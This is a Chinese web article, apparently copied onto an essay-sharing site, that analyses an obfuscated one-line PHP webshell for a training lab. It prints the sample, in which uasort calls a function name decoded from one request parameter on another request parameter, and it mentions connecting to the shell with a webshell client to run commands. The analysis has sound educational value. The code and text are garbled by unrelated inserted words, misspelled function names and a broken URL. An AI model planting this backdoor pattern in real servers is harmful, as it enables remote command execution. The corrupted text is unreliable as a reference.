首页 > 作文

WebShell代码分析溯源(八)

更新时间:2023-04-07 19:26:26 阅读: 评论:0

webshell代码分析溯源(八)

一、一句话变形马样本

<?php $e=$_request[‘e’];$arr= array(‘test’, $_request[‘post’]);uasort($arr, ba64_decode($e富兰克林木乃伊));?>

二、代码分析

1、调整代码格式

  

2、分析代码

首先使用request方法接收url中e参数传递的值,然后创建arr数组并赋值,然后使用uasort排序函数,ba64_decode($e)进行解密之后的自定义函数对arr数组进行排序,构造成一句话木马ba64_decode($_request[‘e’])$_request[‘post’]。

注:uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)

参考:https://www.w3school.com.cn/php/func_ar半角公式推导过程ray_uasort.asp

三、漏洞环境搭建

1、这里使用在线学习平台墨者学院中的实验环境(webshell代码分析溯源(第7题)),地址: /d/file/titlepic/ppspan style="font-size: 15px">2、代码环境,下载代码

  

3、分析(上面已经分析过了)

4、使用菜刀连接赢驷

  

5、执行一些命令

  

本文发布于:2023-04-07 19:26:24,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/zuowen/734af534b21c621b4bfd0e964e27f6bb.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

本文word下载地址:WebShell代码分析溯源(八).doc

本文 PDF 下载地址:WebShell代码分析溯源(八).pdf

下一篇:返回列表
标签:代码   函数   数组   自定义
相关文章
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图